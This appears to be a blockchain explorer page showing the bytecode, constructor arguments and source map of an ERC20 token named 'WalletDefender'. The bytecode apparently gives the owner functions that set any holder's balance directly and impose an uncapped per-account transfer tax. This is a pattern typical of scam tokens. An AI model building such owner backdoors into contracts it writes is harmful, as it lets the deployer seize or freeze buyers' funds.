d8161179a565b81146117b857600080fd5b50565b6000813590506117ca816117a4565b92915050565b600080604083850312156117e7576117e6611737565b5b60006117f585828601611785565b9250506020611806858286016117bb565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561184a57808201518184015260208101905061182f565b60008484015250505050565b6000601f19601f8301169050919050565b600061187282611810565b61187c818561181b565b935061188c81856020860161182c565b61189581611856565b840191505092915050565b600060208201905081810360008301526118ba8184611867565b905092915050565b60008115159050919050565b6118d7816118c2565b82525050565b60006020820190506118f260008301846118ce565b92915050565b6119018161179a565b82525050565b600060208201905061191c60008301846118f8565b92915050565b60008060006060848603121561193b5761193a611737565b5b600061194986828701611785565b935050602061195a86828701611785565b925050604061196b868287016117bb565b9150509250925092565b61197e816118c2565b811461198957600080fd5b50565b60008135905061199b81611975565b92915050565b600080604083850312156119b8576119b7611737565b5b60006119c685828601611785565b92505060206119d78582860161198c565b9150509250929050565b600060ff82169050919050565b6119f7816119e1565b82525050565b6000602082019050611a1260008301846119ee565b92915050565b600060208284031215611a2e57611a2d611737565b5b6000611a3c84828501611785565b91505092915050565b600060208284031215611a5b57611a5a611737565b5b6000611a69848285016117bb565b91505092915050565b611a7b8161175c565b82525050565b6000602082019050611a966000830184611a72565b92915050565b60008060408385031215611ab357611ab2611737565b5b6000611ac185828601611785565b9250506020611ad285828601611785565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b6000611b1260208361181b565b9150611b1d82611adc565b602082019050919050565b60006020820190508181036000830152611b4181611b05565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2030000000000000000000000000000000000000602082015250565b6000611ba4602e8361181b565b9150611baf82611b48565b604082019050919050565b60006020820190508181036000830152611bd381611b97565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c2157607f821691505b602082108103611c3457611c33611bda565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c748261179a565b9150611c7f8361179a565b9250828201905080821115611c9757611c96611c3a565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611cf960258361181b565b9150611d0482611c9d565b604082019050919050565b60006020820190508181036000830152611d2881611cec565b9050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611d8b60268361181b565b9150611d9682611d2f565b604082019050919050565b60006020820190508181036000830152611dba81611d7e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e1d60248361181b565b9150611e2882611dc1565b604082019050919050565b60006020820190508181036000830152611e4c81611e10565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611eaf60228361181b565b9150611eba82611e53565b604082019050919050565b60006020820190508181036000830152611ede81611ea2565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611f1b601d8361181b565b9150611f2682611ee5565b602082019050919050565b60006020820190508181036000830152611f4a81611f0e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fad60258361181b565b9150611fb882611f51565b604082019050919050565b60006020820190508181036000830152611fdc81611fa0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061203f60238361181b565b915061204a82611fe3565b604082019050919050565b6000602082019050818103600083015261206e81612032565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006120d160268361181b565b91506120dc82612075565b604082019050919050565b60006020820190508181036000830152612100816120c4565b9050919050565b60006121128261179a565b915061211d8361179a565b925082820390508181111561213557612134611c3a565b5b92915050565b60006121468261179a565b91506121518361179a565b925082820261215f8161179a565b9150828204841483151761217657612175611c3a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006121b78261179a565b91506121c28361179a565b9250826121d2576121d161217d565b5b82820490509291505056fea264697066735822122088054e82571c90598ea851135b606eb966fab53ffa6e4988610015ade3b04a9f64736f6c63430008130033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000e57616c6c6574446566656e646572000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e57414c4c4554444546454e444552000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a257806395d89b411161007157806395d89b41146102cd578063a457c2d7146102eb578063a9059cbb1461031b578063dd62ed3e1461034b578063f2fde38b1461037b57610116565b8063715018a61461026d57806378bf2b53146102775780638b4cee08146102935780638da5cb5b146102af57610116565b806323b872dd116100e957806323b872dd146101a3578063273601e4146101d3578063313ce567146101ef578063395093511461020d57806370a082311461023d57610116565b8063064ae9261461011b57806306fdde0314610137578063095ea7b31461015557806318160ddd14610185575b600080fd5b610135600480360381019061013091906117d0565b610397565b005b61013f61049f565b60405161014c91906118a0565b60405180910390f35b61016f600480360381019061016a91906117d0565b610531565b60405161017c91906118dd565b60405180910390f35b61018d610554565b60405161019a9190611907565b60405180910390f35b6101bd60048036038101906101b89190611922565b61055e565b6040516101ca91906118dd565b60405180910390f35b6101ed60048036038101906101e891906119a1565b61058d565b005b6101f7610664565b60405161020491906119fd565b60405180910390f35b610227600480360381019061022291906117d0565b61066d565b60405161023491906118dd565b60405180910390f35b61025760048036038101906102529190611a18565b610716565b6040516102649190611907565b60405180910390f35b61027561075f565b005b610291600480360381019061028c91906117d0565b6107e7565b005b6102ad60048036038101906102a89190611a45565b6108ab565b005b6102b7610931565b6040516102c49190611a81565b60405180910390f35b6102d561095b565b6040516102e291906118a0565b60405180910390f35b610305600480360381019061030091906117d0565b6109ed565b60405161031291906118dd565b60405180910390f35b610335600480360381019061033091906117d0565b610ad6565b60405161034291906118dd565b60405180910390f35b61036560048036038101906103609190611a9c565b610af4565b6040516103729190611907565b60405180910390f35b61039560048036038101906103909190611a18565b610b7a565b005b61039f610c71565b73ffffffffffffffffffffffffffffffffffffffff166103bd610931565b73ffffffffffffffffffffffffffffffffffffffff1614610413576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161040a90611b28565b60405180910390fd5b6000811015610457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044e90611bba565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6060600280546104ae90611c09565b80601f01602080910402602001604051908101604052809291908181526020018280546104da90611c09565b80156105275780601f106104fc57610100808354040283529160200191610527565b820191906000526020600020905b81548152906001019060200180831161050a57829003601f168201915b5050505050905090565b60008061053c610c71565b9050610549818585610c79565b600191505092915050565b6000600154905090565b600080610569610c71565b9050610576858285610e41565b610581858585610ecd565b60019150509392505050565b610595610c71565b73ffffffffffffffffffffffffffffffffffffffff166105b3610931565b73ffffffffffffffffffffffffffffffffffffffff1614610609576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060090611b28565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006012905090565b600080610678610c71565b905061070b8185856000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107069190611c69565b610c79565b600191505092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610767610c71565b73ffffffffffffffffffffffffffffffffffffffff16610785610931565b73ffffffffffffffffffffffffffffffffffffffff16146107db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d290611b28565b60405180910390fd5b6107e5600061156e565b565b6107ef610c71565b73ffffffffffffffffffffffffffffffffffffffff1661080d610931565b73ffffffffffffffffffffffffffffffffffffffff1614610863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90611b28565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6108b3610c71565b73ffffffffffffffffffffffffffffffffffffffff166108d1610931565b73ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091e90611b28565b60405180910390fd5b8060098190555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461096a90611c09565b80601f016020809104026020016040519081016040528092919081815260200182805461099690611c09565b80156109e35780601f106109b8576101008083540402835291602001916109e3565b820191906000526020600020905b8154815290600101906020018083116109c657829003601f168201915b5050505050905090565b6000806109f8610c71565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab490611d0f565b60405180910390fd5b610aca8286868403610c79565b60019250505092915050565b6000610aea610ae3610c71565b8484610ecd565b6001905092915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b82610c71565b73ffffffffffffffffffffffffffffffffffffffff16610ba0610931565b73ffffffffffffffffffffffffffffffffffffffff1614610bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bed90611b28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c90611da1565b60405180910390fd5b610c6e8161156e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ce8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdf90611e33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e90611ec5565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e349190611907565b60405180910390a3505050565b6000610e4d8484610af4565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ec75781811015610eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb090611f31565b60405180910390fd5b610ec68484848403610c79565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3390611fc3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa290612055565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611032576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611029906120e7565b60405180910390fd5b6000600190506110428585611634565b1561104c57600090505b600081156112175760008073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116257600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036111065760095490505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036111615760085490505b5b6000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111ed57600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b611213606461120583886116df90919063ffffffff16565b6116f590919063ffffffff16565b9150505b60008111156113b65761127281600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170b90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611309816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172190919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113ad9190611907565b60405180910390a35b61141381856113c59190612107565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170b90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114b381856114659190612107565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172190919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83876115519190612107565b60405161155e9190611907565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116d75750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b600081836116ed919061213b565b905092915050565b6000818361170391906121ac565b905092915050565b600081836117199190612107565b905092915050565b6000818361172f9190611c69565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117678261173c565b9050919050565b6117778161175c565b811461178257600080fd5b50565b6000813590506117948161176e565b92915050565b6000819050919050565b6117ad8161179a565b81146117b857600080fd5b50565b6000813590506117ca816117a4565b92915050565b600080604083850312156117e7576117e6611737565b5b60006117f585828601611785565b9250506020611806858286016117bb565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561184a57808201518184015260208101905061182f565b60008484015250505050565b6000601f19601f8301169050919050565b600061187282611810565b61187c818561181b565b935061188c81856020860161182c565b61189581611856565b840191505092915050565b600060208201905081810360008301526118ba8184611867565b905092915050565b60008115159050919050565b6118d7816118c2565b82525050565b60006020820190506118f260008301846118ce565b92915050565b6119018161179a565b82525050565b600060208201905061191c60008301846118f8565b92915050565b60008060006060848603121561193b5761193a611737565b5b600061194986828701611785565b935050602061195a86828701611785565b925050604061196b868287016117bb565b9150509250925092565b61197e816118c2565b811461198957600080fd5b50565b60008135905061199b81611975565b92915050565b600080604083850312156119b8576119b7611737565b5b60006119c685828601611785565b92505060206119d78582860161198c565b9150509250929050565b600060ff82169050919050565b6119f7816119e1565b82525050565b6000602082019050611a1260008301846119ee565b92915050565b600060208284031215611a2e57611a2d611737565b5b6000611a3c84828501611785565b91505092915050565b600060208284031215611a5b57611a5a611737565b5b6000611a69848285016117bb565b91505092915050565b611a7b8161175c565b82525050565b6000602082019050611a966000830184611a72565b92915050565b60008060408385031215611ab357611ab2611737565b5b6000611ac185828601611785565b9250506020611ad285828601611785565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b6000611b1260208361181b565b9150611b1d82611adc565b602082019050919050565b60006020820190508181036000830152611b4181611b05565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2030000000000000000000000000000000000000602082015250565b6000611ba4602e8361181b565b9150611baf82611b48565b604082019050919050565b60006020820190508181036000830152611bd381611b97565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c2157607f821691505b602082108103611c3457611c33611bda565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c748261179a565b9150611c7f8361179a565b9250828201905080821115611c9757611c96611c3a565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611cf960258361181b565b9150611d0482611c9d565b604082019050919050565b60006020820190508181036000830152611d2881611cec565b9050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611d8b60268361181b565b9150611d9682611d2f565b604082019050919050565b60006020820190508181036000830152611dba81611d7e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e1d60248361181b565b9150611e2882611dc1565b604082019050919050565b60006020820190508181036000830152611e4c81611e10565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611eaf60228361181b565b9150611eba82611e53565b604082019050919050565b60006020820190508181036000830152611ede81611ea2565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611f1b601d8361181b565b9150611f2682611ee5565b602082019050919050565b60006020820190508181036000830152611f4a81611f0e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fad60258361181b565b9150611fb882611f51565b604082019050919050565b60006020820190508181036000830152611fdc81611fa0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061203f60238361181b565b915061204a82611fe3565b604082019050919050565b6000602082019050818103600083015261206e81612032565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006120d160268361181b565b91506120dc82612075565b604082019050919050565b60006020820190508181036000830152612100816120c4565b9050919050565b60006121128261179a565b915061211d8361179a565b925082820390508181111561213557612134611c3a565b5b92915050565b60006121468261179a565b91506121518361179a565b925082820261215f8161179a565b9150828204841483151761217657612175611c3a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006121b78261179a565b91506121c28361179a565b9250826121d2576121d161217d565b5b82820490509291505056fea264697066735822122088054e82571c90598ea851135b606eb966fab53ffa6e4988610015ade3b04a9f64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000e57616c6c6574446566656e646572000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e57414c4c4554444546454e444552000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): WalletDefender
Arg [1] : symbol_ (string): WALLETDEFENDER
Arg [2] : totalSupply_ (uint256): 10000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000000000000000000000000000000000002540be400
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [4] : 57616c6c6574446566656e646572000000000000000000000000000000000000
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [6] : 57414c4c4554444546454e444552000000000000000000000000000000000000


Deployed Bytecode Sourcemap

6069:4553:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9338:206;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3780:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4331:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4074:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9957:286;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9552:126;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3982:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4531:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9106:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;915:103;;;:::i;:::-;;9686;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9232:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;692:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3879:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4779:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9797:152;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4181:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1026:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9338:206;838:12;:10;:12::i;:::-;827:23;;:7;:5;:7::i;:::-;:23;;;819:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9443:1:::1;9433:6;:11;;9425:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;9530:6;9506:11;:21;9518:8;9506:21;;;;;;;;;;;;;;;:30;;;;9338:206:::0;;:::o;3780:91::-;3825:13;3858:5;3851:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3780:91;:::o;4331:192::-;4405:4;4422:13;4438:12;:10;:12::i;:::-;4422:28;;4461:32;4470:5;4477:7;4486:6;4461:8;:32::i;:::-;4511:4;4504:11;;;4331:192;;;;:::o;4074:99::-;4126:7;4153:12;;4146:19;;4074:99;:::o;9957:286::-;10079:4;10096:15;10114:12;:10;:12::i;:::-;10096:30;;10137:38;10153:4;10159:7;10168:6;10137:15;:38::i;:::-;10186:27;10196:4;10202:2;10206:6;10186:9;:27::i;:::-;10231:4;10224:11;;;9957:286;;;;;:::o;9552:126::-;838:12;:10;:12::i;:::-;827:23;;:7;:5;:7::i;:::-;:23;;;819:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9664:6:::1;9638:13;:23;9652:8;9638:23;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;9552:126:::0;;:::o;3982:84::-;4031:5;4056:2;4049:9;;3982:84;:::o;4531:240::-;4619:4;4636:13;4652:12;:10;:12::i;:::-;4636:28;;4675:66;4684:5;4691:7;4730:10;4700:11;:18;4712:5;4700:18;;;;;;;;;;;;;;;:27;4719:7;4700:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;4675:8;:66::i;:::-;4759:4;4752:11;;;4531:240;;;;:::o;9106:118::-;9171:7;9198:9;:18;9208:7;9198:18;;;;;;;;;;;;;;;;9191:25;;9106:118;;;:::o;915:103::-;838:12;:10;:12::i;:::-;827:23;;:7;:5;:7::i;:::-;:23;;;819:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;980:30:::1;1007:1;980:18;:30::i;:::-;915:103::o:0;9686:::-;838:12;:10;:12::i;:::-;827:23;;:7;:5;:7::i;:::-;:23;;;819:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9775:6:::1;9759:9;:13;9769:2;9759:13;;;;;;;;;;;;;;;:22;;;;9686:103:::0;;:::o;9232:98::-;838:12;:10;:12::i;:::-;827:23;;:7;:5;:7::i;:::-;:23;;;819:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9316:6:::1;9298:15;:24;;;;9232:98:::0;:::o;692:87::-;738:7;765:6;;;;;;;;;;;758:13;;692:87;:::o;3879:95::-;3926:13;3959:7;3952:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3879:95;:::o;4779:436::-;4872:4;4889:13;4905:12;:10;:12::i;:::-;4889:28;;4928:24;4955:11;:18;4967:5;4955:18;;;;;;;;;;;;;;;:27;4974:7;4955:27;;;;;;;;;;;;;;;;4928:54;;5021:15;5001:16;:35;;4993:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;5114:60;5123:5;5130:7;5158:15;5139:16;:34;5114:8;:60::i;:::-;5203:4;5196:11;;;;4779:436;;;;:::o;9797:152::-;9867:4;9884:35;9894:12;:10;:12::i;:::-;9908:2;9912:6;9884:9;:35::i;:::-;9937:4;9930:11;;9797:152;;;;:::o;4181:142::-;4261:7;4288:11;:18;4300:5;4288:18;;;;;;;;;;;;;;;:27;4307:7;4288:27;;;;;;;;;;;;;;;;4281:34;;4181:142;;;;:::o;1026:201::-;838:12;:10;:12::i;:::-;827:23;;:7;:5;:7::i;:::-;:23;;;819:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1135:1:::1;1115:22;;:8;:22;;::::0;1107:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1191:28;1210:8;1191:18;:28::i;:::-;1026:201:::0;:::o;343:98::-;396:7;423:10;416:17;;343:98;:::o;5223:378::-;5376:1;5359:19;;:5;:19;;;5351:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5457:1;5438:21;;:7;:21;;;5430:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5539:6;5509:11;:18;5521:5;5509:18;;;;;;;;;;;;;;;:27;5528:7;5509:27;;;;;;;;;;;;;;;:36;;;;5577:7;5561:32;;5570:5;5561:32;;;5586:6;5561:32;;;;;;:::i;:::-;;;;;;;;5223:378;;;:::o;5609:453::-;5744:24;5771:25;5781:5;5788:7;5771:9;:25::i;:::-;5744:52;;5831:17;5811:16;:37;5807:248;;5893:6;5873:16;:26;;5865:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5977:51;5986:5;5993:7;6021:6;6002:16;:25;5977:8;:51::i;:::-;5807:248;5733:329;5609:453;;;:::o;7408:1534::-;7556:1;7540:18;;:4;:18;;;7532:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7633:1;7619:16;;:2;:16;;;7611:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7686:19;7708:9;:15;7718:4;7708:15;;;;;;;;;;;;;;;;7686:37;;7757:7;7742:11;:22;;7734:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;7818:7;7828:4;7818:14;;7847:27;7865:4;7871:2;7847:17;:27::i;:::-;7843:70;;;7896:5;7891:10;;7843:70;7923:22;7964:2;7960:509;;;7983:16;8047:1;8022:27;;:13;;;;;;;;;;;:27;;;8018:274;;8080:13;;;;;;;;;;;8074:19;;:2;:19;;;8070:94;;8129:15;;8118:26;;8070:94;8194:13;;;;;;;;;;;8186:21;;:4;:21;;;8182:95;;8243:14;;8232:25;;8182:95;8018:274;8330:1;8310:11;:17;8322:4;8310:17;;;;;;;;;;;;;;;;:21;8306:90;;;8363:11;:17;8375:4;8363:17;;;;;;;;;;;;;;;;8352:28;;8306:90;8427:30;8453:3;8427:21;8439:8;8427:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;8410:47;;7968:501;7960:509;8500:1;8483:14;:18;8479:252;;;8536:35;8556:14;8536:9;:15;8546:4;8536:15;;;;;;;;;;;;;;;;:19;;:35;;;;:::i;:::-;8518:9;:15;8528:4;8518:15;;;;;;;;;;;;;;;:53;;;;8612:43;8640:14;8612:9;:23;6471:42;8612:23;;;;;;;;;;;;;;;;:27;;:43;;;;:::i;:::-;8586:9;: